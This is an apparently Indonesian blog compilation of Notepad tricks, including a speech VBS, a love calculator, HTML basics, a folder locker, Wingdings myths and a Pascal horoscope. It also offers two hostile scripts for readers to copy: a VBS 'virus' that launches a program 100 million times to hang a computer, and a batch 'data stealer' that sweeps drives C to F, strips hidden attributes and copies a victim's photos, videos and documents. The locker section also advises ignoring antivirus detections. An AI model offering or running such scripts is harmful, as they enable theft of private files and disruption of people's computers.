Cara Mengetahui Jenis Kelamin Komputer Anda

Cara Mengetahui Jenis Kelamin Komputer Anda

sekarang saya akan menulis tentang cara mengetahui jenis kelamin komputer anda. lho? emangnya komputer ada jenis kelamin? ya ada dong. monyet aja ada, apalagi komputer. xixixi


mungkin sebagaian dari kalian bingung dan tidak percaya akan kenyataan ini. tapi kalau belum dicoba tidak akan tahu, benar kan? Makanya segera dipraktekkan ini trik, supaya teman-teman tak penasaran dengan jenis kelamin komputernya sendiri.

emang apa perlunya sih kita tahu jenis kelamin komputer? hmm. sebenarnya ini hanya untuk iseng aja gan, dan bisa menambah wawasan keilmuan kita di bidang komputer, jadi gak ada ruginya bukan? :D



intinya komputer anda akan diajak berbicara dengan trik sederhana dengan notepad. oke langsung saja.
jenis apakah komputer kalian laki-laki atau perempuan nah untuk membuktikannya bisa kita coba dengan carasebagai berikut :

*============Start==========*


1. Buka notepad ( "start" --> "all programs" --> "accessories" --> "notepad")

2. Masukkan garam secukupnya (lhoh, lo pikir acara fun cooking?wkwkkw)


Masukkan command ini: CreateObject("SAPI.SpVoice").Speak"I love YOU"

3. Save filenya as "iloveu.vbs" (*.vbs penting biar programnya jalan, kalo nggak gak akan jalan)

4. menuju ke tempat penyimpanan file yang teman-teman simpan tadi melalui explorer > Double klik ke file yang teman-teman buat tadi.

5. selang beberapa saat, komputer anda akan berbicara. dan coba dengar suaranya....


*==================Finish==============*


teman-teman bisa ganti kata-katanya dgn cara ganti kalimat yg di dalam tanda petik pada langkah 2 ".." (seperti kata I love YOU)

Lakukan sesuai cara yang disarankan.

Kalau suaranya perempuan, berarti komputer teman-teman adalah berjenis kelamin perempuan. Begitu pula sebaliknya, kalau suaranya laki-laki, berarti komputernya berjenis kelamin laki-laki.

gampang kan? segitu aja tips dan trik kali ini. sekedarnya aja gan, kwkw. komputer saya sendiri berjenis kelamin laki-laki. bagaimana dengan komputer anda? silahkan di komentar.

Cara membuat kalkulator cinta dengan notepad

Kamu ingin membuat software yang dapat mengukur cinta seperti iklan di TV? Kamu dapat menyalin kode dibawah ini. Buka Notepad, Copy dan Paste kode dibawah ini.

:: This program maked by sangkutsanjaya.blogspot.com/
:: Don't delete this Code.

@echo off
title Cinta meter by:sangkutsanjaya.blogspot.com
goto awal
:awal
set persen=0
set cinta=0
cls
echo Ketikkan namamu
set/p "nama=? "
echo Ketikkan nama incaranmu
set/p "pacar=? "
goto hitung
:hitung
cls
echo Sedang meramal (%persen% persen) . . .
if %persen%==100 goto hasil
set /a persen=%persen%+1
set /a tmp=32767/100
set /a cinta=%random%/%tmp%
goto hitung
:hasil
if %cinta%==100 set result=%pacar% mencintaimu Selamanya sampai mati. Sehingga si %pacar% tidak mau kehilanganmu.
if %cinta% leq 99 set result=%pacar% sangat mencintaimu. %pacar% akan setia padamu jika kamu benar-benar serius mencintainya.
if %cinta% leq 75 set result=%pacar% mencintaimu, tetapi kamu harus berhati-hati dalam menjalin hubungan. Jika tidak, hubungan kamu dan %pacar% akan putus.
if %cinta% leq 50 set result=%pacar% tidak terlalu mencintaimu. Kamu harus sangat berhati-hati, nanti dia mudah terpengaruh sama Cowok/Cewek lain.
if %cinta% leq 25 set result=%pacar% tidak terlalu mencintaimu. Sepertinya dia lebih suka sama Cowok/Cewek lain. Kamu harus berusaha mempengaruhinya supaya dia mau suka sama kamu.
if %cinta% leq 15 set result=Sepertinya %pacar% membencimu dan rasa cinta%pacar% kepada kamu kurang. Hubungan kamu dengan %pacar% tidak terlalu baik. Kamu harus mencari pacar yang baru atau kamu harus berusaha membuat dia suka kepada kamu lagi.
if %cinta% leq 10 set result=Sepertinya %pacar% membencimu. Kamu harus memperbaiki sifatmu dan membuat dia kembali lagi kepada kamu.
if %cinta% leq 2 set result=%pacar% membencimu, rasa cinta %pacar% dengan kamu tidak ada lagi. Kamu harus berusaha mencari pacar yang baru dan jauhilah dia.
cls
echo Hasil dari %nama% dan %pacar%
echo Persen dari %pacar% mencintai %cinta%: %cinta% persen.
echo Keterangan: %result%
echo.
echo Tekan sembarng key untuk keluar . . .
pause>nul
exit



Setelah di Paste, simpan kode diatas dengan mengklik File>Save as>Ganti Text Documents menjadi All Files>Buatlah nama file dengan diakhiri .bat (Misal: cintameter.bat)>Klik save

*NB: Program tersebut bukanlah program kalkulator cinta yang sebenarnya, hanya permainan angka pada fungsi Command Prompt. Jadi jangan percaya dengan hasil dari kalkulator tersebut. It's just for fun :)

Cara Membuat Web sederhana dengan HTML dan Notepad

Pengenalan HTML

HTML merupakan bahasa standard yang digunakan untuk membuat website, dengan HTML kita dapat melakukan banyak hal, antara lain :
Mendesain tampilan website dengan isinya.
Membuat form interaktif untuk formulir pendaftaran, belanja online, dan lain – lain.
Menambahkan gambar, suara maupun video ke dalam tampilan website.

Struktur Dokumen HTML
Dokumen HTML terdiri dari 3 bagian utama :

1. Tag HTML
Tag ini wajib ada,menyatakan kepada browser bahwa ada diantara tag ini adalah dokumen HTML.

2. Tag HEAD
Tag ini menyatakan header, di dalam tag ini kita dapat membuat tag untuk menampilkan judul pada sebuah website yang ditampilkan diatas taskbar suatu browser.

3. Tag BODY
Tag BODY berguna untuk menampilkan teks, link, gambar dan yang lainnya pada halaman website.

Bentuk contoh dokumen HTML lengkap :
teks, gambar, table, elemen–elemen html yang lain, dan sebagainya

Elemen Dasar HTML
- Paragraf
Untuk membuat sebuah halaman website.
- Huruf
tag ini menghasilkan kalimat dengan huruf arial,ukuran huruf 15,berwarna biru

Langkah – langkah membuat website dengan Notepad.
1.      Buka Notepad
2.       Tuliskan script program html nya..
3.      Save dengan namafile.html pilih all type lalu save. Contoh: contoh1.html lalu di save di desktop.

Contoh Script button HTML:

<*HTML>
<*HEAD>
<*TITLE>Contoh Program JavaScript
<*SCRIPT LANGUAGE = "JavaScript">
<*!--

function evTekan ()
{
alert("Sudah saya bilang jangan menekan tombol itu..!!!!");
}
//-->
<*/SCRIPT>
<*/HEAD>
<*BODY>
<*FORM>

<*INPUT TYPE = "button" Value = "Jangan menekan tombol ini"
onClick="evTekan()">

<*/FORM>
<*/BODY>
<*/HTML>

NB: tanda * di hapus

Screenshot Script Diatas

Selamat mencoba, semoga bermanfaat

Membuat Pengunci Folder Menggunakan NOTEPAD

Membuat Pengunci Folder Menggunakan NOTEPAD

Pernahkah anda menyembunyikan data-data penting anda di komputer ?? apakah anda telah menjaminnya data itu tersimpan dengan aman ?? mungkin untuk sebagian orang menyimpan data menggunakan program tertentu adalahalternatif yang sangat banyak di gunakan, bukan hanya gampang menggunakannya, tetapi data anda dapat tersimpan dengan aman. Data penting seringkali menjadi incaran para pencuri yang sengaja melihat lihat komputer atau laptop kita . tanpa kita sadari mereka telah mengambil sebagian file yang sangat berharga. seringkali file-file tersebut berupa akun-akun penting besertapasword -pasword yang telah anda catat di sebuah notepad atau microsoft world. akun ini dapat berupa akun blogger, akun facebook, akun twitter, akun yahoo dan sebagainya. bisakah anda bayangkan jika data tersebut dapat di ketahui oleh orang lain, pasti anda langsung panik dan tidak tenang.

Saya akan menjelaskan bagaimana sebuah program kecil dapat bernilai guna untuk anda, program yang dulunya tidak berguna di mata anda, da sekarang anda dapat menggunakannya dalam menjaga dan melindungi file-file anda.

NOTEPAD, siapa yang tidak mengenal aplikasi yang satu ini, notepad di ciptakan untuk mencatat catatan kecil yang berguna sebagai pengingat. dapat bernilai guna lebuh jika kita pandai memanfaatkannya.
aplikasi ini sangat mudah kita jumpa di dalam system oprasi windows. jelas saja, jangankan windows, linux sekalipun mencantumkan aplikasi ini sebagai pelengkap system oprasi. Lngsung saja simak bagaimana cara memanfaatkan aplikasi yang satu ini.

Pertama, buka notepad anda, notepad yang kita gunakan adalah notepad yang original dari windows, bukan notepad yang freeware. kemudian copy dan pastekan kode di bawah ini ke dalam notepad tadi. :


@ECHO OFF
Kunci Folder
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Apakah anda mau mengunci folder....??? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder telah terkunci
goto End
:UNLOCK
echo --------------------------------------------------------------------------------
echo permisi terlebih dahulu kepada ari purnomo sebelum anda membuka ini.
set/p "pass=>"
if NOT %pass%== http://penggunacerdas.blogspot.com goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo --------------------------------------------------------------------------------
echo PAssword salah, cabalah kembali...!!!!
goto UNLOCK
goto end
:MDLOCKER
md Locker
echo Folder berhasil anda buka
goto End
:End


KETERANGAN :

• Warna merah peringatan apakah anda ingin mengunci folder.
• Warna Biru kata sambutan saat akan memasukkan password confirmasi
• Warna hijau adalah password dari folder yang anda kunci
• Warna ungu Peringatan bahwa password yang di masukkan salah.
• Warna Oren menunjukkan bahwa folder berhasil di buka

kemudian "save as", dan jangan lupa saat pemberian nama berilah extension .BAT bukan .TXT.
Misalnya ari purnomo.TXT di ganti menjadi ari purnomo.BAT. Lihat gambar :

Setelah anda menyimpannya, maka bukalah file notepad tadi , maka akan muncul folder yang bernamakan LOCKER, itulah folder yang di gunakan untuk menyimpan data anda nantinya. sekarang cobalah masukkan data anda kedalam folder LOCKER, dan jika sudah , maka kunci kembali folder tersebut dengan cara membuka file notepad yang tadi, confirmasi yes atau No.

Mudah dan gampang bukan membuatnya, file notepad ini dapat di gunakan di flashdisk dan berguna menyimpan data di dalamnya.
NOTICE, Jangan khawatir jika anda memasukkan flashdisk anda ke komputer orang lain dan flash disk tersebut terdeteksi virus oleh antivirus, tak usah di hiraukan, karna yang terdeteksi virus tersebut adalah folder notepad anda, antivirus tidak menerima file-file yang tersembunyi.


CARA MENGGANTI CODE YANG TELAH TERSIMPAN

Sekarang ada pertanyaan untuk anda, bagaimana anda ingin mengganti password atau kata-kata yang terdapat di dalam file notepad yang telah anda simpan ??
tentu buat yang baru belajar merasa kesulitan, caranya gampang sekali.

Klik kanan pada file notepad yang ingin anda ganti passwordnya. kemudian pilih "Edit", maka file akan terbuka dalam bentuk notepad. gantilah password yang ingin anda ganti. Cukup mudah bukan ??
jangan sampai cara simple ini di ketahui oleh orang lain. bisa-bisa data anda yang Raip di ambil ^_^.


MENGGANTI EXTENSION .BAT MENJADI .EXE

Mungkin anda mengira terlalu mudah untuk membobol data pribadi yang tersimpan dalam file notepad ini. tetapi anda tidak usah menghawatirkan hal itu. saya akan memberikan solusinya. sekilas tentang penjelasan saya.
extension .BAT berfungsi untuk menjalankan kode-kode yang ada di dalam notepad. .BAT , tetapi .BAT sendiri mempunyai kelemahan yaitu dapat dengan mudah di ganti kodenya dengan cara klik kanan lalu edit. nah sekarang saya akan mengubah extension .BAT menjadi .EXE. apa itu .EXE ?? .EXE biasanya di gunakan untuk software-software instalasi, tetapi di sini .EXE berperan untuk menjalankan kode dalam bentuk portable. .EXE tidak dapat di edit.

jadi kesimpulannya password atau kode yang telah di ganti extension menjadi .EXE , tidak dapat di ganti-ganti kembali. sehingga password tetap aman tersimpan. Dan bagaimana semua itu di lakukan ?? langsung saja ikuti langkah-langkahnya.

Pertama, download dahulu softwarenya, namanya Bat To Exe Converter V1.5.1. seya telah menyediakan softwarenya untuk anda, silahkan di download

DI SINI

Setelah dapat filenya, maka bukalah software tersebut, software tidak memerlukan instalasi, software ini bberbentu portable. pada bagian "Batch file" carilah file notepad yang berextension .BAT. dan "Save as" lokasi untuk tempat penyimpanan. kemudian "Compile" . Lihat gambar :

Jika sudah, lihat hasilnya . semoga hari ini anda mendapatkan pengalaman, dan ilmu baru .
walaupun ilmu yang anda dapatkan hanya sebesar embun, tetapi simpanlah ilmu tersebut dan berbagi sesama kita untuk memperluas wawasan.

Jika ada pertanyaan, kritikan, saran, tambahan atau sebagainya, tuliskan saja di kotak komentar. saya akan menangapi komentar dari anda.

ternyata notepad bisa untuk meramal

Tenyata Notepad Bisa Meramal Peristiwa Penting Dunia | Cirebon-Cyber4rt - Notepade adalah suatu software kecil yang terbawa secara otomatis saat windows diinstal kekomputer kita. Jarang sekali orang memakainya kecuali para programer dan ahli IT (untuk membuat script). Lokasinya terletak pada Start/All Programs/Accessories. Benarkah ia tidak bermanfaat? Beberapa hal dibawah ini menunjukkan bahwa notepad tidak "selemah" yang kita kira :

Membuat Buku Harian dengan Notepad

Tanpa perlu software, tanpa perlu ba-bi-bu kita bisa bikin buku harian dengan notepad.

1. Buka Notepad
2. Ketik ".LOG " (tanpa tanda petik).
3. Simpan dengan nama apa saja, misal : diary.txt.
4. Open File yang kita simpan tadi.
5. Dan lihat hasilnya :
   
   
   

Notepad mampu meramal peristiwa 11 september - Gedung WTC

1. Buka Notepad
2. Ketik "Q33N" (tanpa tanda petik). Keterangan: Q33N adalah nomor penerbangan pesawat yang menabrak gedung WTC.
3. Blok tulisan Q33N lalu masuk menu Format/Font.
4. Kemudian ganti font dengan Wingdings.
5. Silahkan tafsirkan sendiri :
   
   
   

Notepad mengetahui proses ledakan bom di Mega Kuningan

Masih ingat bom yang meledak di Mega Kuningan, Jakarta? Diam-diam notepad tahu prosesnya lho.

1. Buka Notepad
2. Ketik "MEGA" (tanpa tanda petik). keterangan: MEGA mengambarkan Mega Kuningan, Jakarta.
3. Blok tulisan MEGA" lalu masuk menu Format/Font
4. Kemudian ganti font dengan Wingdings
5. Dan taraaaa :
   
   
   

Notepad berpihak pada George W. Bush

Diam-diam ternyata si notepad kita ini berpihak pada Bush, mantan presiden Amerika yang paranoid itu. Buktinya?

1. Buka Notepad
2. Ketik: "bush hide the facts" (tanpa tanda petik). Artinya: Bush telah menyembunyikan fakta-fakta)
3. Simpan dengan nama apa saja
4. Buka kembali file tadi,
5. Dan Hasilnya :
   
   
   

Notepad telah menyembunyikan "Fakta" bahwa kita telah mengetik sesuatu disana, F*ck America !

Sekian postingan saya kali ini tantang Tenyata Notepad Bisa Meramal Peristiwa Penting Dunia, Semoga postingan saya ini dapat menambah wawasan kita semua tentang dunia hehee :D

cara membuat virus di notepad

Pada kesempatan kali ini kita akan mencoba membuat virus sederhana dengan notepad. Awalnya 

saya juga tidak percaya bahwa
 virus dapat dibuat hanya dengan menggunakan notepad dan bahkan dapat dipraktekkan secara langsung oleh seorang “newbie” sekalipun 
seperti saya
. Baiklah tanpa perlu basa-basi mari kita coba praktekkan saja langsung.

Berikut caranya:

1. Buka notepad  kemudian copas kode di bawah ini ke notepad tersebut

==============================================================

option explicit 

dim wshshell 
set wshshell=wscript.createobject(“wscript.shell”) 
dim x 
for x = 1 to 100000000 
wshshell.run “tourstart.exe” 
next

==============================================================

2. Lalu Save as dengan nama “virus.vbs” (tanpa tanda kutip), kemudian rubah Save as type-nya menjadi All Files.

Peringatan!!

Jangan klik file virus.vbs tersebut, karena komputer sobat akan dipenuhi oleh 100000000  tourstart yang akan memenuhi layar sobat  dan akan membuat komputer menjadi hang,   untuk mengatasinya  sobatdapat mendelete semua tourstart tersebut atau langsung merestart komputer sobat. Bila sobatingin mencoba virus ini sekedar untuk percobaan, silahkan membuat ulang program nya, dengan perbedaan ubah 100000000 ke 10. Maka setelah sobat mengklik programnya (virus.vbs), layar sobat hanya akan dipenuhi oleh  10 tourstart saja.

Nb: Virus ini tidak berbahaya,  karena tidak akan menyebabkan kerusakan vatal pada sistem komputer kita! 

Cara Membuat Program Pencuri Data Dengan Notepad

Cara Membuat Program Pencuri Data Dengan Notepad

Cara Membuat Program Pencuri Data Dengan Notepad program ini berfungsi untuk mencuri data seperti:
*.3gp
*.jpg
*.avi
*.wmv
*.rm
*.mpg
*.doc
*.xlsx

dan lainnya sudah tersedia dalam script berikut, caranya mudah banget :
1. Buka Notepad kalian melalui accessories atau melalui Run ketikan notepad.
2. Setelah kebuka notepadnya copy paste script berikut :
Sciptnya

echo off
color 0a
mode 31,15
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title Stole V 3.2
msg * Digunakan untuk mencuri
msg * File atau data2 korban
echo.
echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
echo ³ Program Aplikasi ³
echo ³ Stole V 3 .2 ³
echo ³ Author : sohai ³
echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
:awal
ption

echo ------EKSTENSI FILE----------

echo [1] 3gp [4] jpg [7] doc

echo [2] wmv [5] rm [8] xls

echo [3] avi [6] mpg [9] Exit

echo =============================

echo.

set/p "pil=Masukan Pilihan: "

if %pil%=='' goto option

if %pil%==1 goto 3gp

if %pil%==2 goto wmv

if %pil%==3 goto avi

if %pil%==4 goto jpg

if %pil%==5 goto rm

if %pil%==6 goto mpg

if %pil%==7 goto

if %pil%==8 goto m

if %pil%==9 goto keluar

goto option
:3gp
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal

goto option
:goto wmv
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)

cls
echo sudah tidak ditemukan file nyah
pause >nul


goto option
:avi
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:jpg
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:rm
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls

goto option
:mpg
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:doc
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.doc') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:xls
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls


:keluar
msg * data telah ter ambil!!!
msg * Hayoo !!! Dta kmu tuh apa ya???
msg * HEhehehehe
msg * by sohai
Exit

program ramalan zodiak dengan pascal

Udah beberapa minggu gk ngeblog, blog gk keurus, gk kerumat,dll dah!! Yah saatnya mengisi lagi blog gue dengan isinya lgi. .yang mudah mudahan bermanfaat walupun hanya secuil. ..

Pada kesempatan kali ini gue iseng - iseng mbikin ramalan zodiak yang sangat sederhana sekali, menggunakan bahasa Pascal. Ramalan Zodiak?? Yupzz. . .yang banyak digandrungi para remaja, yang hanya sekedar iseng untuk membaca ataupun bener - bener mengikuti isinya. . .Yang kdang dicari mulai dari masalah umum, kesehatan samapai hal yang gak akan kehapus penghapus karet zaman 'Asmara'. . .Ya dri pda qt hrus bca online tw hrus bli mjalahnya, knpa gk qt bkin sendiri aja. . .isinya bisa qt gnti dg ssuka hti qt. ..So bisa dipamerin ktmen2 kn!!! hihihihihi

Dalm program gue ini, gue tambahin sub program bwt isinya biar lbih trtata ja dg rpi.. .
Yg pertma ini syntaknya utk main program :

view plainprint?

1. begin  
2. clrscr;  
3. repeat  
4. begin  
5.   writeln('             SELAMAT DATANG');  
6.   writeln('==========================================');  
7.   writeln('             RAMALAN ZODIAK');  
8.   writeln();  
9.   writeln('ZODIAK ANDA :');  
10.   writeln('------------------------------------------');  
11.   writeln('1.  : Capricon');  
12.   writeln('2.  : Aquarius');  
13.   writeln('3.  : Pisces');  
14.   writeln('4.  : Aries');  
15.   writeln('5.  : Taurus');  
16.   writeln('6.  : Gemini');  
17.   writeln('7.  : Cancer');  
18.   writeln('8.  : Leo');  
19.   writeln('9.  : Virgo');  
20.   writeln('10. : Libra');  
21.   writeln('11. : Scorpio');  
22.   writeln('12. : Sagitarius');  
23.   writeln('------------------------------------------');  
24.   write('Silahkan masukkan no zodiak anda (1-12) : ');  
25.   readln(pilih);  
26.   isi(pilih);  
27.   writeln();  
28.   write('Apakah anda ingin mengulang ? (y/n) : ');  
29.   readln(ulang);  
30. end;  
31. until((ulang <> 'y') or (ulang <> 'Y'));  
32. writeln();  
33. writeln('Terimakasih. . .');  
34. readln();  
35. end.  

nah yang berikut ini utk sub program isinya, knpa gue pisahkan?? gk tw gan soale dlam program rmalan ini kbnyakan hnya isi dri rmalannya aja kan, yg pnjangnya kyk KA. . :D

view plainprint?

1. procedure Isi(pilihan : byte);  
2. begin  
3. case pilihan of  
4. 1 :begin  
5.  writeln('Bagi anda para Capricon');  
6.  writeln('UMUM : Nikmatilah hari - hari anda pekan ini, jangan pusingkan kepala anda yang kecil itu');  
7.  writeln('dengan seabrek ketakutan dan kegugupan terhadap tantangan dan persoalan hidup. Nikmatilah!');  
8.  writeln('Ambillah barang sedikit waktu untuk bersenang - senang. Anda bisa berbelanja, berjalan - jalan');  
9.  writeln('ditempat hiburan dan lain - lain. Yang penting, nikmatilah hari anda');  
10.  writeln();  
11.  writeln('ASMARA : Jika anda komunikasi yang kuat, berarti dan benar - benar berasal dari hati,');  
12.  writeln('anda membutuhkan bimbingan dari seseorang. Seseorang itu mungkin adalah orang terdekat anda.');  
13.  writeln('Buka mata hati dan hati anda. siapa tahu dia adalah sandaran hati yang selama ini anda cari.');  
14.     end;  
15. 2 :begin  
16.  writeln('Bagi anda para Aquarius');  
17.  writeln('UMUM : Bagaimana kabar keluarga anda? apakah ada jarak antara mereka dengan anda?');  
18.  writeln('Kalau ternyata selama ini anda sibuk sekali mengurus diri sendiri, lebih berkonsentrasi pada');  
19.  writeln('kesibukan pribadi anda dan tidak tahu seperti apa kehidupan dan pergulatan mereka,');  
20.  writeln('sekarang saatnya anda mengangkat mata dan memperhatikan mereka. mereka adalah surga anda.');  
21.  writeln('Sumber inpirasi dan semangat.');  
22.  writeln();  
23.  writeln('ASMARA : apakan anda sudah siap membuat perubahan yang berarti dalam hubungan anda? kalau ya,');  
24.  writeln('sekarang adalah waktunya. jangan tahan apa yang berkecamuk di dalam hati anda.');  
25.  writeln('Katakan dengan terus terang supaya dia tahu yang sebenarnya anda rasakann, tetapi jangan juga,');  
26.  writeln('terlalu berlebihan. sederhana dan wajar saja.');  
27.     end;  
28. 3 :begin  
29.  writeln('Bagi anda para Pisces');  
30.  writeln('UMUM : Awal pekan ini anda akan berhadapan dengan banyak hal dan urusan. Masing - masing urusan');  
31.  writeln('itu punya pengaruh yang tak sama besar. Sebetulnya anda tak harus berhadapan dengan itu.');  
32.  writeln('Tapi konteks membuat anda turut merasakannya, karena itulah anda sibuk. Sisi yang menarik adalah');  
33.  writeln('bahwa karena hal itu anda mempunyai banyak teman.');  
34.  writeln();  
35.  writeln('ASMARA : Awal pekan bukan waktu yang tepat untuk bermesaraan atau apa pun,');  
36.  writeln('anda dan si dia tak siap untuk itu. Yang justru terjadi adalah awal pekan menjadi waktu yang tepat');  
37.  writeln('untuk menjalin relasi dengan orang lain, bergaul dengan orang lain, menperluas pergaulan dan');  
38.  writeln('berkonsentrasilah pada tugas. Anda butuh akan punya waktu untuk si dia pada akhir pekan.');  
39.    end;  
40. 4 :begin  
41.  writeln('Bagi anda para Aries');  
42.  writeln('UMUM : Kemampuan sosial anda sangat bagus minggu ini. anda akan mendapatkan keberhassilan kecil.');  
43.  writeln('Minggu ini juga akan ada benyak kejadian yang menyenangkan untuk anda dan teman - teman anda,');  
44.  writeln('selama anda selalu mengikuti kata hati. selanjutnya, lihat dan nikmati sada apa yang akan terjadi selanjutnya.');  
45.  writeln();  
46.  writeln('ASMARA : Memberi akan terasa sama manisnya dengan menerima sesuatu dari orang yang dikasihi, dan kedua hal tersebut');  
47.  writeln('akan menjadi kebiasaan anda pada awal pekan ini. Pada pertengahan minggu, semua itu akan berkurang,');  
48.  writeln('anda akan berhadapan dengan masalah perasaan yang cukup rumit. Tapi pada akhir minggu semua akan berubah.');  
49.  writeln('anda kembali seksi. tak heran jika anda menjadi pusat perhatian.');  
50.    end;  
51. 5 :begin  
52.  writeln('Bagi anda para Taurus');  
53.  writeln('UMUM : Mengawali pekan ini dengan kegembiraan dan semangat yang luar biasa besar. ada pun terasad ringan dan berjalan');  
54.  writeln('sesuai dengan apa yang anda harapkan. Ungkapkan apa yang ada di dalam hati dan otak anda. Jangan tahan,');  
55.  writeln('toh kesempatan untuk itu terbuka lebar di depan mata anda.');  
56.  writeln();  
57.  writeln('ASMARA : Hei, jangan terlalu sibuk bekerja. Anda mesti punya waktu untuk si dia, untuk hubungan anda.');  
58.  writeln('Luangkan sedikit waktu untuk mengungkapkan isi  hati anda. Katakan kepadanya bahwa anda menikmati hubungan ini.');  
59.  writeln('katakan kepadanya bahwa anda merasa nyaman berjalan bersamanya.');  
60.    end;  
61. 6 :begin  
62.  writeln('Bagi anda para Gemini');  
63.  writeln('UMUM : Dengarlah pada apa yang coba diakatakan oleh teman - teman anda. Mereka memberikan anda saran');  
64.  writeln('untuk mencoba sesuatu yang cukup beresiko, dan saran mereka itu benar, pada titik tertentu');  
65.  writeln('anda perlu merendah dan menahan diri, sekalipun konteks berjalan tak enak dan menciptakan kesulitan tersendiri.');  
66.  writeln('kalau sudah demikian, cari orang yang anda tahu bisa membantu anda untuk keluar dari kesulutan.');  
67.  writeln();  
68.  writeln('ASMARA : Romantisme anda berjalan menarik pekan ini. Sekarang saatnya untuk anda membuat hubungan anda');  
69.  writeln('dengan si dia berjalan menarik, seperti apa? terserah anda. Nikmati hubungan anda, tapi anda juga harus bisa tetap');  
70.  writeln('pada pendirian andakalau ada sesuatu, anda tahu apa yang ada didalam hati anda sendiri.');  
71.    end;  
72. 7 :begin  
73.  writeln('Bagi anda para Cancer');  
74.  writeln('UMUM : Anda disukai banyak orang, tanya kenapa? karena apa yang anda lakukan, baik dilingkungan kerja,');  
75.  writeln('lingkungan pergaulan, maupun lingkungan keluarga, lumayan membatu orang, meringankan beban orang');  
76.  writeln('dan seperti itulah apa dunia anda. Kalau kemudian muncul masalah, anda harus tahu apa yang akan anda lakukan.');  
77.  writeln('Jangan bekerja seorang diri, delegaislan tugas atau beban yang ada.');  
78.  writeln();  
79.  writeln('ASMARA : Jangan tunda lagi kalau anda ingin "menembak" hatinya, kalau bukan sekarang, kapan lagi?');  
80.  writeln('Apalagi si dia yang membuat anda yakin anda berharga dimata banyak orang juga ingin dekat anda.');  
81.  writeln('Dekatilah dia dan katakan isi hati anda, dia tidak minta banyak hal selain itu, dan segalanya akan terasa indah.');  
82.    end;  
83. 8 :begin  
84.  writeln('Bagi anda para Leo');  
85.  writeln('UMUM : Awal pekan ini anda berhadapan dengan masalah. Agak rumit karena banyak hal terlihat');  
86.  writeln('seperti jalinan yang rumit, yang susah sekali diburai. Kalau sudah terjebak sedemikian rupa,');  
87.  writeln('jangan tergesa - gesa, pikir baik - baik dan lihat persoalan langsung pada akarnya.');  
88.  writeln('kalau bisa, mintalah bantuan teman atau rekan kerja anda.');  
89.  writeln();  
90.  writeln('ASMARA : Benar bahwa si dia ingin sekali menghabiskan banyak waktu dengan Anda.');  
91.  writeln('Benar juga bahwa kalau Anda ingin hubungan Anda berjalan baik, Anda harus bisa meluangkan waktu');  
92.  writeln('untuk si dia. Tapi tidak ada salahnya jika sesekali Anda juga meluangkan waktu untuk berjalan');  
93.  writeln('bersama teman-teman Anda. Nikmatilah waktu Anda bersama mereka');  
94.    end;  
95. 9 :begin  
96.  writeln('Bagi anda para Virgo');  
97.  writeln('UMUM : Anda akan memulai minggu ini dengan langkah yang pasti. Itu karena Anda sadar');  
98.  writeln('bahwa tak baik menyia-nyiakan semangat dan isi otak Anda yang encer itu. Tambahan lagi,');  
99.  writeln('Anda `dipaksa` untuk bisa memikirkan jalan keluar di tengah himpitan banyak persoalan.');  
100.  writeln();  
101.  writeln('ASMARA : Anda sudah punya gandengan? Atau Anda masih berjalan seorang diri? Tak apa. Itu bukan masalah.');  
